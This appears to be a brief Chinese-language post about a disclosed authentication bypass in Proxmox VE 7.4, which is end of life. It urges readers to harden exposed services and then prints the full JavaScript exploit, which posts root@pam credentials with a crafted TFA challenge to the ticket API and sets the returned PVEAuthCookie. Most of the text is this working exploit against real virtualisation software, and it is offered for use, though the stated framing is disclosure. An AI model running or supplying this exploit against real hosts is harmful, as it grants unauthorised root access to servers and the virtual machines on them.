Update: 由于 PVE 7.x 已 EOL，因此对应版本的 Exploit 已提前发布（确认可完整绕过 WebUI 认证），8.x/9.x 则被作者声明为 “暂时不受影响”
无论如何，尽快参考 最佳实践 加固你所有对外开放的敏感服务！
Exp (.js) 正文:
// PVE 7.4 auth-bypass @NebuSec 2026
// First, make sure to try logging in as root with this exact password: root@pam
(async () => {
const form = new URLSearchParams({
username: "root@pam",
password: "root@pam",
"tfa-challenge": "NEBUSEC-CHALLENGE",
});
const loginResponse = await fetch("/api2/json/access/ticket", {
method: "POST",
credentials: "omit",
headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" },
body: form,
});
const loginBody = await loginResponse.json();
document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`;
location.reload()
})();
观后感：不是，你就这么水灵灵的拿到 login cookie 了？
https://fixupx.com/nebusecurity/status/2094719919539793989